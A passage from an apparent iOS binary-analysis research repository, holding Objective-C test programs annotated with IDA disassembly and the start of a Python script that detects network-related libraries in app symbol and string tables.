| 133 | 134 | 135 | 136 | 137 | ; related structure for this sample: 138 | 139 | 140 | 141 | struct _category_t { 142 | 143 | const char *name; 144 | 145 | struct _class_t *cls; 146 | 147 | const struct _method_list_t *instance_methods; 148 | 149 | const struct _method_list_t *class_methods; 150 | 151 | const struct _protocol_list_t *protocols; 152 | 153 | const struct _prop_list_t *properties; 154 | 155 | }; 156 | 157 | 158 | 159 | static struct _category_t _OBJC_$_CATEGORY_NSString_$_NumberConvenience __attribute__ ((used, section ("__DATA,__objc_const"))) = 160 | 161 | { 162 | 163 | "NSString", 164 | 165 | 0, // &OBJC_CLASS_$_NSString, 166 | 167 | (const struct _method_list_t *)&_OBJC_$_CATEGORY_INSTANCE_METHODS_NSString_$_NumberConvenience, 168 | 169 | 0, 170 | 171 | 0, 172 | 173 | 0, 174 | 175 | 176 | }; 177 | 178 | 179 | 180 | static struct /*_method_list_t*/ { 181 | 182 | unsigned int entsize; // sizeof(struct _objc_method) 183 | 184 | unsigned int method_count; 185 | 186 | struct _objc_method method_list[1]; 187 | 188 | } _OBJC_$_CATEGORY_INSTANCE_METHODS_NSString_$_NumberConvenience __attribute__ ((used, section ("__DATA,__objc_const"))) = { 189 | 190 | sizeof(_objc_method), 191 | 192 | 1, 193 | 194 | {{(struct objc_selector *)"lengthAsNumber", "@16@0:8", (void *)_I_NSString_NumberConvenience_lengthAsNumber}} 195 | 196 | 197 | }; 198 | 199 | 200 | 201 | 202 | 203 | struct _objc_method { 204 | 205 | struct objc_selector * _cmd; 206 | 207 | const char *method_type; 208 | 209 | void *_imp; 210 | 211 | 212 | }; 213 | 214 | 215 | 216 | 217 | 218 | 219 | 220 | __text:0000000100006A20 LDR X1, [X1] ; _OBJC_CLASS_$_NSString 221 | 222 | __text:0000000100006A24 LDR X0, [X0] ; "alloc" 223 | 224 | __text:0000000100006A28 STUR X0, [X29,#var_30] 225 | 226 | __text:0000000100006A2C MOV X0, X1 ; void * 227 | 228 | __text:0000000100006A30 LDUR X1, [X29,#var_30] 229 | 230 | __text:0000000100006A34 BL _objc_msgSend 231 | 232 | 233 | 234 | ; function abstraction to bridge `X0` 235 | 236 | 237 | 238 | __text:0000000100006A38 ADRP X1, #cfstr_Blabla@PAGE ; "blabla" 239 | 240 | __text:0000000100006A3C ADD X1, X1, #cfstr_Blabla@PAGEOFF ; "blabla" 241 | 242 | __text:0000000100006A40 ADRP X30, #selRef_initWithString_@PAGE 243 | 244 | __text:0000000100006A44 ADD X30, X30, #selRef_initWithString_@PAGEOFF 245 | 246 | __text:0000000100006A48 LDR X30, [X30] ; "initWithString:" 247 | 248 | __text:0000000100006A4C STUR X1, [X29,#var_38] 249 | 250 | __text:0000000100006A50 MOV X1, X30 ; char * 251 | 252 | __text:0000000100006A54 LDUR X2, [X29,#var_38] 253 | 254 | __text:0000000100006A58 BL _objc_msgSend 255 | 256 | 257 | 258 | ; function abstraction to bridge `X0` 259 | 260 | 261 | 262 | __text:0000000100006A5C ADRP X1, #selRef_lengthAsNumber@PAGE 263 | 264 | __text:0000000100006A60 ADD X1, X1, #selRef_lengthAsNumber@PAGEOFF 265 | 266 | __text:0000000100006A64 STUR X0, [X29,#var_18] 267 | 268 | __text:0000000100006A68 LDUR X0, [X29,#var_18] 269 | 270 | __text:0000000100006A6C LDR X1, [X1] ; "lengthAsNumber" 271 | 272 | 273 | __text:0000000100006A70 BL _objc_msgSend 274 | 275 | 276 | 277 | */ 278 | 279 | NSLog(@"%@", [s lengthAsNumber]); 280 | 281 | 282 | 283 | 284 | 285 | return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class])); 286 | 287 | } 288 | 289 | } 290 | 291 | 292 | 293 | 294 | 295 | -------------------------------------------------------------------------------- /Static analysis/test case/Delegate-2/AppDelegate.m: -------------------------------------------------------------------------------- 1 | // 2 | 3 | // main.m 4 | 5 | // demo 6 | 7 | // 8 | 9 | // Created by demo on 2018/1/23. 10 | 11 | // Copyright © 2018 demo. All rights reserved. 12 | 13 | // 14 | 15 | 16 | 17 | #import 18 | 19 | #import "AppDelegate.h" 20 | 21 | 22 | 23 | @protocol WorkerProtocol 24 | 25 | @optional 26 | 27 | - (void)doSomeOptionalWork; 28 | 29 | 30 | 31 | @required 32 | 33 | - (void)doSomeRequiredWork; 34 | 35 | @end 36 | 37 | 38 | 39 | @interface Manager : NSObject 40 | 41 | @property (weak) id delegate; 42 | 43 | 44 | 45 | - (void)doWork; 46 | 47 | @end 48 | 49 | 50 | 51 | 52 | 53 | @interface Manager () 54 | 55 | - (void)myWork; 56 | 57 | @end 58 | 59 | 60 | 61 | @implementation Manager 62 | 63 | @synthesize delegate; 64 | 65 | 66 | 67 | /* 68 | 69 | __text:00000001000066D4 ; WorkerProtocol *__cdecl -[Manager delegate](Manager *self, SEL) 70 | 71 | __text:00000001000066D4 __Manager_delegate_ ; DATA XREF: __objc_const:0000000100008DC0↓o 72 | 73 | __text:00000001000066D4 74 | 75 | __text:00000001000066D4 var_10 = -0x10 76 | 77 | __text:00000001000066D4 var_8 = -8 78 | 79 | __text:00000001000066D4 var_s0 = 0 80 | 81 | __text:00000001000066D4 82 | 83 | __text:00000001000066D4 ; FUNCTION CHUNK AT __stubs:0000000100006A5C SIZE 0000000C BYTES 84 | 85 | __text:00000001000066D4 86 | 87 | __text:00000001000066D4 SUB SP, SP, #0x20 88 | 89 | __text:00000001000066D8 STP X29, X30, [SP,#0x10+var_s0] 90 | 91 | __text:00000001000066DC ADD X29, SP, #0x10 92 | 93 | __text:00000001000066E0 STR X0, [SP,#0x10+var_8] 94 | 95 | __text:00000001000066E4 STR X1, [SP,#0x10+var_10] 96 | 97 | __text:00000001000066E8 LDR X0, [SP,#0x10+var_8] 98 | 99 | __text:00000001000066EC ADRP X1, #_OBJC_IVAR_$_Manager.delegate@PAGE ; WorkerProtocol *delegate; 100 | 101 | __text:00000001000066F0 LDRSW X1, [X1,#_OBJC_IVAR_$_Manager.delegate@PAGEOFF] ; WorkerProtocol *delegate; 102 | 103 | __text:00000001000066F4 ADD X0, X0, X1 104 | 105 | __text:00000001000066F8 BL _objc_loadWeakRetained 106 | 107 | __text:00000001000066FC LDP X29, X30, [SP,#0x10+var_s0] 108 | 109 | __text:0000000100006700 ADD SP, SP, #0x20 110 | 111 | __text:0000000100006704 B _objc_autoreleaseReturnValue 112 | 113 | __text:0000000100006704 ; End of function -[Manager delegate] 114 | 115 | __text:0000000100006704 116 | 117 | __text:0000000100006708 118 | 119 | __text:0000000100006708 ; =============== S U B R O U T I N E ======================================= 120 | 121 | __text:0000000100006708 122 | 123 | __text:0000000100006708 ; Attributes: bp-based frame 124 | 125 | __text:0000000100006708 126 | 127 | __text:0000000100006708 ; void __cdecl -[Manager setDelegate:](Manager *self, SEL, id) 128 | 129 | __text:0000000100006708 __Manager_setDelegate__ ; DATA XREF: __objc_const:0000000100008DD8↓o 130 | 131 | __text:0000000100006708 132 | 133 | __text:0000000100006708 var_20 = -0x20 134 | 135 | __text:0000000100006708 var_18 = -0x18 136 | 137 | __text:0000000100006708 var_10 = -0x10 138 | 139 | __text:0000000100006708 var_8 = -8 140 | 141 | __text:0000000100006708 var_s0 = 0 142 | 143 | __text:0000000100006708 144 | 145 | __text:0000000100006708 SUB SP, SP, #0x30 146 | 147 | __text:000000010000670C STP X29, X30, [SP,#0x20+var_s0] 148 | 149 | __text:0000000100006710 ADD X29, SP, #0x20 150 | 151 | __text:0000000100006714 ADRP X8, #_OBJC_IVAR_$_Manager.delegate@PAGE ; WorkerProtocol *delegate; 152 | 153 | __text:0000000100006718 ADD X8, X8, #_OBJC_IVAR_$_Manager.delegate@PAGEOFF ; WorkerProtocol *delegate; 154 | 155 | __text:000000010000671C STUR X0, [X29,#var_8] 156 | 157 | __text:0000000100006720 STR X1, [SP,#0x20+var_10] 158 | 159 | __text:0000000100006724 STR X2, [SP,#0x20+var_18] 160 | 161 | __text:0000000100006728 LDR X1, [SP,#0x20+var_18] 162 | 163 | __text:000000010000672C LDUR X0, [X29,#var_8] 164 | 165 | __text:0000000100006730 LDRSW X8, [X8] ; WorkerProtocol *delegate; 166 | 167 | __text:0000000100006734 ADD X8, X0, X8 168 | 169 | __text:0000000100006738 MOV X0, X8 170 | 171 | __text:000000010000673C BL _objc_storeWeak 172 | 173 | __text:0000000100006740 STR X0, [SP,#0x20+var_20] 174 | 175 | __text:0000000100006744 LDP X29, X30, [SP,#0x20+var_s0] 176 | 177 | __text:0000000100006748 ADD SP, SP, #0x30 178 | 179 | __text:000000010000674C RET 180 | 181 | __text:000000010000674C ; End of function -[Manager setDelegate:] 182 | 183 | */ 184 | 185 | 186 | 187 | - (void)doWork 188 | 189 | { 190 | 191 | 192 | 193 | 194 | // since our analysis is context insensitive, we do not know what `delegate` really point to. 195 | 196 | // and till now, I have no idea how much this property will affect on our analysis. 197 | 198 | 199 | 200 | [delegate doSomeRequiredWork]; 201 | 202 | 203 | 204 | /* 205 | 206 | I can link all possible implementation of the delegate method, however, there is no information indicate which class obey the `protocol`, so aggressive link on literal name may work. 207 | 208 | */ 209 | 210 | 211 | 212 | if(YES == [delegate respondsToSelector:@selector(doSomeOptionalWork)]) 213 | 214 | { 215 | 216 | [delegate doSomeOptionalWork]; 217 | 218 | } 219 | 220 | 221 | 222 | [self myWork]; 223 | 224 | } 225 | 226 | 227 | 228 | - (void)myWork; 229 | 230 | { 231 | 232 | NSLog(@"I am a manager and I am working"); 233 | 234 | } 235 | 236 | @end 237 | 238 | 239 | 240 | @interface Worker1 : NSObject 241 | 242 | 243 | 244 | @end 245 | 246 | 247 | 248 | 249 | 250 | @implementation Worker1 251 | 252 | - (void)doSomeRequiredWork 253 | 254 | { 255 | 256 | NSLog(@"Worker1 doing required work."); 257 | 258 | } 259 | 260 | @end 261 | 262 | 263 | 264 | @interface Worker2 : NSObject 265 | 266 | 267 | 268 | @end 269 | 270 | 271 | 272 | @implementation Worker2 273 | 274 | 275 | 276 | - (void)doSomeRequiredWork 277 | 278 | { 279 | 280 | NSLog(@"Worker2 doing required work."); 281 | 282 | } 283 | 284 | 285 | 286 | - (void)doSomeOptionalWork 287 | 288 | { 289 | 290 | NSLog(@"Worker2 doing optional work."); 291 | 292 | } 293 | 294 | @end 295 | 296 | 297 | 298 | int main(int argc, char * argv[]) { 299 | 300 | 301 | 302 | @autoreleasepool { 303 | 304 | 305 | 306 | Manager *manager = [[Manager alloc] init]; 307 | 308 | Worker1 *worker1 = [[Worker1 alloc] init]; 309 | 310 | manager.delegate = worker1; 311 | 312 | 313 | 314 | /* 315 | 316 | __text:0000000100006890 ADRP X1, #selRef_setDelegate_@PAGE 317 | 318 | __text:0000000100006894 ADD X1, X1, #selRef_setDelegate_@PAGEOFF 319 | 320 | __text:0000000100006898 STUR X0, [X29,#var_20] 321 | 322 | __text:000000010000689C LDUR X0, [X29,#var_18] 323 | 324 | __text:00000001000068A0 LDUR X30, [X29,#var_20] 325 | 326 | __text:00000001000068A4 LDR X1, [X1] ; "setDelegate:" 327 | 328 | __text:00000001000068A8 MOV X2, X30 329 | 330 | 331 | __text:00000001000068AC BL _objc_msgSend 332 | 333 | */ 334 | 335 | 336 | 337 | [manager doWork]; 338 | 339 | 340 | 341 | Worker2 *worker2 = [[Worker2 alloc] init]; 342 | 343 | manager.delegate = worker2; 344 | 345 | 346 | 347 | 348 | 349 | [manager doWork]; 350 | 351 | 352 | 353 | return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class])); 354 | 355 | } 356 | 357 | } 358 | -------------------------------------------------------------------------------- /Static analysis/test case/Inheritance-2/AppDelegate.m: -------------------------------------------------------------------------------- 1 | // 2 | 3 | // main.m 4 | 5 | // demo 6 | 7 | // 8 | 9 | // Created by demo on 2018/1/23. 10 | 11 | // Copyright © 2018 demo. All rights reserved. 12 | 13 | // 14 | 15 | 16 | 17 | #import 18 | 19 | #import "AppDelegate.h" 20 | 21 | 22 | 23 | @interface Tire: NSObject 24 | 25 | @end 26 | 27 | 28 | 29 | @implementation Tire 30 | 31 | - (NSString *) description{ 32 | 33 | return (@"tire"); 34 | 35 | } 36 | 37 | @end 38 | 39 | 40 | 41 | /* 42 | 43 | @interface Pedal: NSObject 44 | 45 | @end 46 | 47 | 48 | 49 | @implementation Pedal 50 | 51 | - (NSString *) description{ 52 | 53 | return (@"pedal"); 54 | 55 | } 56 | 57 | @end 58 | 59 | */ 60 | 61 | 62 | 63 | @interface Engine: NSObject 64 | 65 | @end 66 | 67 | 68 | 69 | @implementation Engine 70 | 71 | - (NSString *) description{ 72 | 73 | return (@"engine"); 74 | 75 | } 76 | 77 | @end 78 | 79 | 80 | 81 | @interface Car: NSObject{ 82 | 83 | Engine *engine; 84 | 85 | Tire *tires[4]; 86 | 87 | } 88 | 89 | 90 | 91 | -(Engine *) engine; 92 | 93 | -(void) setEngine: (Engine *) newEngine; 94 | 95 | -(Tire *) tireAtIndex: (int) index; 96 | 97 | -(void) setTire: (Tire *) tire atIndex: (int) index; 98 | 99 | 100 | 101 | -(void) print; 102 | 103 | +(void) classMethodPrint; 104 | 105 | 106 | 107 | @end 108 | 109 | 110 | 111 | @implementation Car 112 | 113 | 114 | 115 | +(void) classMethodPrint 116 | 117 | { 118 | 119 | NSLog(@"null"); 120 | 121 | 122 | 123 | } 124 | 125 | - (id) init 126 | 127 | { 128 | 129 | if (self = [super init]){ 130 | 131 | engine = [Engine new]; 132 | 133 | tires[0] = [Tire new]; 134 | 135 | tires[1] = [Tire new]; 136 | 137 | tires[2] = [Tire new]; 138 | 139 | tires[3] = [Tire new]; 140 | 141 | 142 | 143 | } 144 | 145 | return(self); 146 | 147 | 148 | 149 | } 150 | 151 | 152 | 153 | - (void) dealloc 154 | 155 | { 156 | 157 | NSLog(@"dealloc"); 158 | 159 | 160 | 161 | } 162 | 163 | 164 | 165 | -(void) print 166 | 167 | { 168 | 169 | NSLog(@"%@", engine); 170 | 171 | 172 | 173 | /* 174 | 175 | Remember that NSLog() lets you use the %@ format specifier to print objects. When NSLog() processes the %@ specifier, it asks the corresponding object in the parameter list for its `description`. Speaking technically, NSLog() sends the `description` message to the object, and the object’s `description` method builds an NSString and returns it. NSLog() then includes that string in its output. By supplying a description method in your class, you can customize how your objects are printed by NSLog(). 176 | 177 | */ 178 | 179 | 180 | 181 | NSLog(@"%@", tires[0]); 182 | 183 | NSLog(@"%@", tires[1]); 184 | 185 | NSLog(@"%@", tires[2]); 186 | 187 | NSLog(@"%@", tires[3]); 188 | 189 | } 190 | 191 | 192 | 193 | -(void) setEngine:(Engine *)newEngine 194 | 195 | { 196 | 197 | 198 | 199 | } 200 | 201 | 202 | 203 | -(void) setTire:(Tire *)t atIndex:(int)i 204 | 205 | { 206 | 207 | 208 | 209 | } 210 | 211 | 212 | 213 | @end 214 | 215 | 216 | 217 | /* 218 | 219 | @interface Unicycle: NSObject 220 | 221 | { 222 | 223 | Pedal *pedal; 224 | 225 | Tire *tire; 226 | 227 | } 228 | 229 | @end 230 | 231 | */ 232 | 233 | 234 | 235 | int main(int argc, char * argv[]) { 236 | 237 | @autoreleasepool { 238 | 239 | [Car classMethodPrint]; 240 | 241 | 242 | 243 | Car *car; 244 | 245 | car = [Car new]; 246 | 247 | 248 | 249 | // The `init` method creates an engine and four tires to outfit the car. When you create a new object with `new`, two steps actually happen under the hood. First, the object is `allocated`, meaning that a chunk of memory is obtained that will hold your instance variables. The `init` method is then called automatically to get the object into a workable state. 250 | 251 | 252 | 253 | 254 | 255 | /* 256 | 257 | 258 | 259 | IDA output for `new` is as below, however, the `alloc` and `init` method is invoked sequentially. 260 | 261 | 262 | 263 | 264 | 265 | _text:0000000100006948 ADRP X0, #selRef_new@PAGE 266 | 267 | __text:000000010000694C ADD X0, X0, #selRef_new@PAGEOFF 268 | 269 | __text:0000000100006950 ADRP X1, #classRef_Car@PAGE 270 | 271 | __text:0000000100006954 ADD X1, X1, #classRef_Car@PAGEOFF 272 | 273 | __text:0000000100006958 LDR X1, [X1] ; _OBJC_CLASS_$_Car 274 | 275 | __text:000000010000695C LDR X0, [X0] ; "new" 276 | 277 | __text:0000000100006960 STUR X0, [X29,#var_40] 278 | 279 | __text:0000000100006964 MOV X0, X1 ; void * 280 | 281 | __text:0000000100006968 LDUR X1, [X29,#var_40] 282 | 283 | 284 | __text:000000010000696C BL _objc_msgSend 285 | 286 | */ 287 | 288 | 289 | 290 | 291 | 292 | Car *car1; 293 | 294 | car1 = [[Car alloc] init]; 295 | 296 | 297 | 298 | /* 299 | 300 | _text:0000000100006970 ADRP X1, #selRef_alloc@PAGE 301 | 302 | __text:0000000100006974 ADD X1, X1, #selRef_alloc@PAGEOFF 303 | 304 | __text:0000000100006978 ADRP X30, #classRef_Car@PAGE 305 | 306 | __text:000000010000697C ADD X30, X30, #classRef_Car@PAGEOFF 307 | 308 | __text:0000000100006980 STUR X0, [X29,#var_18] 309 | 310 | __text:0000000100006984 LDR X0, [X30] ; _OBJC_CLASS_$_Car ; void * 311 | 312 | __text:0000000100006988 LDR X1, [X1] ; "alloc" 313 | 314 | __text:000000010000698C BL _objc_msgSend 315 | 316 | 317 | 318 | ; although the `X0` now point to an instance, but it is the *same* as as before from the point of static view. 319 | 320 | 321 | 322 | 323 | 324 | __text:0000000100006990 ADRP X1, #selRef_init@PAGE 325 | 326 | __text:0000000100006994 ADD X1, X1, #selRef_init@PAGEOFF 327 | 328 | __text:0000000100006998 LDR X1, [X1] ; "init" 329 | 330 | __text:000000010000699C BL _objc_msgSend 331 | 332 | __text:00000001000069A0 ADRP X1, #selRef_copy@PAGE 333 | 334 | __text:00000001000069A4 ADD X1, X1, #selRef_copy@PAGEOFF 335 | 336 | __text:00000001000069A8 STUR X0, [X29,#var_20] 337 | 338 | __text:00000001000069AC LDUR X0, [X29,#var_20] 339 | 340 | __text:00000001000069B0 LDR X1, [X1] ; "copy" 341 | 342 | __text:00000001000069B4 BL _objc_msgSend 343 | 344 | */ 345 | 346 | 347 | 348 | Car *car2 = [car1 copy]; 349 | 350 | 351 | 352 | 353 | 354 | 355 | 356 | Tire *t = [Tire new]; 357 | 358 | 359 | 360 | [car retain]; 361 | 362 | [car release]; 363 | 364 | 365 | 366 | [[car retain] setTire: t atIndex:8]; 367 | 368 | [car release]; 369 | 370 | [car retianCount]; 371 | 372 | 373 | 374 | [car print]; 375 | 376 | 377 | 378 | return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class])); 379 | 380 | } 381 | 382 | } 383 | 384 | 385 | 386 | We have checked the IDA code to find there is no obvious connection between the `caller` and `callee` for `new` to `init` or `@` to `description`. 387 | 388 | 389 | 390 | Since `description` method commonly implement nothing `important` thing, we connect them as pleasure. 391 | 392 | 393 | 394 | 395 | But lots of important work is implemented in `init` work, we connect the `new` selector to `init` if there is an implementation. 396 | -------------------------------------------------------------------------------- /Static analysis/test case/OOP/AppDelegate.m: -------------------------------------------------------------------------------- 1 | // 2 | 3 | // main.m 4 | 5 | // demo 6 | 7 | // 8 | 9 | // Created by demo on 2018/1/23. 10 | 11 | // Copyright © 2018 demo. All rights reserved. 12 | 13 | // case comes from Learn.Objective-C.on.the.Mac.2nd.Edition, Section 3 14 | 15 | 16 | 17 | #import 18 | 19 | #import "AppDelegate.h" 20 | 21 | 22 | 23 | typedef enum{ 24 | 25 | kCircle, 26 | 27 | kRectangle, 28 | 29 | kEgg 30 | 31 | } ShapeType; 32 | 33 | 34 | 35 | typedef enum{ 36 | 37 | kRedColor, 38 | 39 | kGreenColor, 40 | 41 | kBlueColor 42 | 43 | } ShapeColor; 44 | 45 | 46 | 47 | typedef struct { 48 | 49 | int x, y, width, height; 50 | 51 | }ShapeRect; 52 | 53 | 54 | 55 | @interface Circle : NSObject 56 | 57 | { 58 | 59 | @private 60 | 61 | ShapeColor fillColor; 62 | 63 | ShapeRect bounds; 64 | 65 | 66 | 67 | } 68 | 69 | 70 | 71 | -(void) setFillColor: (ShapeColor) fillColor; 72 | 73 | -(void) setBounds: (ShapeRect) bounds; 74 | 75 | -(void) draw; 76 | 77 | @end 78 | 79 | 80 | 81 | @implementation Circle 82 | 83 | 84 | 85 | -(void) setFillColor:(ShapeColor)c 86 | 87 | { 88 | 89 | fillColor = c; 90 | 91 | } 92 | 93 | 94 | 95 | -(void) setBounds: (ShapeRect)b 96 | 97 | { 98 | 99 | bounds = b; 100 | 101 | } 102 | 103 | 104 | 105 | -(void)draw 106 | 107 | { 108 | 109 | NSLog(@"circle"); 110 | 111 | } 112 | 113 | 114 | 115 | @end 116 | 117 | 118 | 119 | void drawShapes(__strong id shapes[], int count) 120 | 121 | { 122 | 123 | for ( int i = 0; i < count; i ++) 124 | 125 | { 126 | 127 | id shape = shapes[i]; 128 | 129 | [shape draw]; 130 | 131 | } 132 | 133 | } 134 | 135 | 136 | 137 | int main(int argc, char * argv[]) { 138 | 139 | @autoreleasepool { 140 | 141 | 142 | 143 | id shapes[3]; 144 | 145 | ShapeRect rect0 = {0, 0, 10, 30}; 146 | 147 | shapes[0] = [Circle new]; 148 | 149 | [(Circle *)shapes[0] setBounds: rect0]; 150 | 151 | [(Circle *)shapes[0] setFillColor: kRedColor]; 152 | 153 | 154 | 155 | drawShapes (shapes, 1); 156 | 157 | 158 | 159 | return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class])); 160 | 161 | } 162 | 163 | } 164 | 165 | 166 | 167 | 168 | 169 | IDA output for: 170 | 171 | shapes[0] = [Circle new]; 172 | 173 | 174 | [(Circle *)shapes[0] setBounds: rect0]; 175 | 176 | 177 | 178 | 179 | 180 | __text:0000000100006970 STUR Q0, [X29,#var_40] 181 | 182 | __text:0000000100006974 ADRP X8, #classRef_Circle@PAGE 183 | 184 | __text:0000000100006978 LDR X8, [X8,#classRef_Circle@PAGEOFF] 185 | 186 | __text:000000010000697C ADRP X1, #selRef_new@PAGE 187 | 188 | __text:0000000100006980 LDR X1, [X1,#selRef_new@PAGEOFF] ; char * 189 | 190 | __text:0000000100006984 STR X0, [SP,#0x90+var_48] 191 | 192 | __text:0000000100006988 MOV X0, X8 ; void * 193 | 194 | __text:000000010000698C BL _objc_msgSend 195 | 196 | 197 | 198 | ;for the `new` selector, `X0` is the class object, after this invocation, we get a pointer in `X0` point to an instance of the class. Although we consider the `X0` register is easily polluted by an invocation, this case should be ignored. So, in practice, we just simply patch this method invocation with `mov X0, X0’ instruction to make the object searching process smoothly. 199 | 200 | 201 | 202 | __text:0000000100006990 LDUR X8, [X29,#var_20] 203 | 204 | __text:0000000100006994 STUR X0, [X29,#var_20] 205 | 206 | __text:0000000100006998 MOV X0, X8 207 | 208 | __text:000000010000699C BL _objc_release 209 | 210 | __text:00000001000069A0 LDUR X8, [X29,#var_20] 211 | 212 | __text:00000001000069A4 ADRP X0, #selRef_setBounds_@PAGE 213 | 214 | __text:00000001000069A8 LDR X0, [X0,#selRef_setBounds_@PAGEOFF] 215 | 216 | __text:00000001000069AC LDUR X1, [X29,#var_40+8] 217 | 218 | __text:00000001000069B0 LDUR X30, [X29,#var_40] 219 | 220 | __text:00000001000069B4 STR X0, [SP,#0x90+var_50] 221 | 222 | __text:00000001000069B8 MOV X0, X8 ; void * 223 | 224 | __text:00000001000069BC LDR X8, [SP,#0x90+var_50] 225 | 226 | __text:00000001000069C0 STR X1, [SP,#0x90+var_58] 227 | 228 | __text:00000001000069C4 MOV X1, X8 ; char * 229 | 230 | __text:00000001000069C8 MOV X2, X30 231 | 232 | __text:00000001000069CC LDR X3, [SP,#0x90+var_58] 233 | 234 | 235 | __text:00000001000069D0 BL _objc_msgSend 236 | 237 | 238 | 239 | 240 | 241 | IDA output for: 242 | 243 | void drawShapes(__strong id shapes[], int count) 244 | 245 | { 246 | 247 | for ( int i = 0; i < count; i ++) 248 | 249 | { 250 | 251 | id shape = shapes[i]; 252 | 253 | [shape draw]; 254 | 255 | } 256 | 257 | } 258 | 259 | 260 | 261 | 262 | 263 | __text:000000010000689C EXPORT _drawShapes 264 | 265 | __text:000000010000689C _drawShapes ; CODE XREF: _main+D4↓p 266 | 267 | __text:000000010000689C 268 | 269 | __text:000000010000689C var_18 = -0x18 270 | 271 | __text:000000010000689C var_10 = -0x10 272 | 273 | __text:000000010000689C var_C = -0xC 274 | 275 | __text:000000010000689C var_8 = -8 276 | 277 | __text:000000010000689C var_s0 = 0 278 | 279 | __text:000000010000689C 280 | 281 | __text:000000010000689C SUB SP, SP, #0x30 282 | 283 | __text:00000001000068A0 STP X29, X30, [SP,#0x20+var_s0] 284 | 285 | __text:00000001000068A4 ADD X29, SP, #0x20 286 | 287 | __text:00000001000068A8 STUR X0, [X29,#var_8] 288 | 289 | __text:00000001000068AC STUR W1, [X29,#var_C] 290 | 291 | __text:00000001000068B0 STR WZR, [SP,#0x20+var_10] 292 | 293 | __text:00000001000068B4 294 | 295 | __text:00000001000068B4 loc_1000068B4 ; CODE XREF: _drawShapes+78↓j 296 | 297 | __text:00000001000068B4 LDR W8, [SP,#0x20+var_10] 298 | 299 | __text:00000001000068B8 LDUR W9, [X29,#var_C] 300 | 301 | __text:00000001000068BC CMP W8, W9 302 | 303 | __text:00000001000068C0 B.GE loc_100006918 304 | 305 | __text:00000001000068C4 LDRSW X8, [SP,#0x20+var_10] 306 | 307 | __text:00000001000068C8 LDUR X9, [X29,#var_8] 308 | 309 | __text:00000001000068CC MOV X10, #8 310 | 311 | __text:00000001000068D0 MADD X8, X8, X10, XZR 312 | 313 | __text:00000001000068D4 ADD X8, X9, X8 314 | 315 | __text:00000001000068D8 LDR X0, [X8] 316 | 317 | __text:00000001000068DC BL _objc_retain 318 | 319 | __text:00000001000068E0 ADRP X8, #selRef_draw@PAGE 320 | 321 | __text:00000001000068E4 ADD X8, X8, #selRef_draw@PAGEOFF 322 | 323 | __text:00000001000068E8 STR X0, [SP,#0x20+var_18] 324 | 325 | __text:00000001000068EC LDR X0, [SP,#0x20+var_18] ; void * 326 | 327 | 328 | 329 | ; `receiver` comes from stack, so we will make a aggressive predict for the `receiver`, which means that any `receiver` with the same `selector` will be called. and this is what the code block really did. 330 | 331 | 332 | 333 | __text:00000001000068F0 LDR X1, [X8] ; "draw" 334 | 335 | __text:00000001000068F4 BL _objc_msgSend 336 | 337 | __text:00000001000068F8 ADD X0, SP, #0x20+var_18 338 | 339 | __text:00000001000068FC MOV X8, #0 340 | 341 | __text:0000000100006900 MOV X1, X8 342 | 343 | __text:0000000100006904 BL _objc_storeStrong 344 | 345 | __text:0000000100006908 LDR W8, [SP,#0x20+var_10] 346 | 347 | __text:000000010000690C ADD W8, W8, #1 348 | 349 | __text:0000000100006910 STR W8, [SP,#0x20+var_10] 350 | 351 | __text:0000000100006914 B loc_1000068B4 352 | 353 | __text:0000000100006918 ; --------------------------------------------------------------------------- 354 | 355 | __text:0000000100006918 356 | 357 | __text:0000000100006918 loc_100006918 ; CODE XREF: _drawShapes+24↑j 358 | 359 | __text:0000000100006918 LDP X29, X30, [SP,#0x20+var_s0] 360 | 361 | __text:000000010000691C ADD SP, SP, #0x30 362 | 363 | __text:0000000100006920 RET 364 | 365 | 366 | __text:0000000100006920 ; End of function _drawShapes 367 | 368 | 369 | 370 | 371 | 372 | -------------------------------------------------------------------------------- /Data analysis/tablesheetandgraph_library_raw_data.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | 3 | from pymongo import MongoClient 4 | import sys 5 | import os 6 | import time 7 | import re 8 | import json 9 | import numpy as np 10 | #import matplotlib.pyplot as plt 11 | import datetime 12 | 13 | conn = MongoClient('127.0.0.1', 27017) 14 | db = conn.ios_metedata 15 | 16 | ipa_basic_set = db.basic_info_0521 17 | ipa_symbol_table = db.symbol_table_0521 18 | ipa_string_table = db.strings_0521 19 | 20 | # ipa_basic_set = db.chs_basic_info 21 | # ipa_symbol_table = db.chs_symbol_table 22 | # ipa_string_table = db.chs_strings 23 | 24 | # ipa_basic_set = db.us_basic_info 25 | # ipa_symbol_table = db.us_symbol_table 26 | # ipa_string_table = db.us_strings 27 | 28 | def dump_file(filename, rst): 29 | with open(filename, 'w') as f_dump: 30 | json.dump(rst, f_dump) 31 | 32 | 33 | library_result = {} 34 | def scan4sig(hash, category, string_table, symbol_table): 35 | 36 | library = [] 37 | 38 | # , 39 | # system library 40 | res = re.search(" _bind\n", symbol_table) 41 | if res: 42 | library.append("_bind") 43 | 44 | res = re.search(" _res_9_nquery\n", symbol_table) 45 | if res: 46 | library.append("_res_9_nquery") 47 | 48 | res = re.search(" _CFSocketSetAddress\n", symbol_table) 49 | if res: 50 | library.append("_CFSocketSetAddress") 51 | 52 | res1 = re.search(" _OBJC_CLASS_\$_GKLocalPlayer\n", symbol_table) 53 | res2 = re.search("localPlayer", string_table) 54 | res3 = re.search("registerListener:", string_table) 55 | if (res1 and res2 and res3): 56 | library.append("Game Kit (1)") 57 | 58 | res1 = re.search(" _OBJC_CLASS_\$_GKMatchmaker\n", symbol_table) 59 | res2 = re.search("sharedMatchmaker", string_table) 60 | res3 = re.search("setInviteHandler:", string_table) 61 | if (res1 and res2 and res3): 62 | library.append("Game Kit (2)") 63 | 64 | res = re.search(" _OBJC_CLASS_\$_MCSession\n", symbol_table) 65 | if res: 66 | library.append("Multipeer Connectivity") 67 | 68 | # third-party library 69 | res = re.search("Chromecast", string_table) 70 | if res: 71 | library.append("Google Cast") 72 | 73 | res = re.search("SiphonServer", string_table) 74 | if res: 75 | library.append("SmartDeviceLink") 76 | 77 | res = re.search("Portable SDK for UPnP devices", string_table) 78 | if res: 79 | library.append("pupnp") 80 | 81 | res = re.search("SmartView", string_table) 82 | if res: 83 | library.append("SmartView") 84 | 85 | res = re.search("Start MQTT broker", string_table) 86 | if res: 87 | library.append("MQTT") 88 | 89 | # res1 = 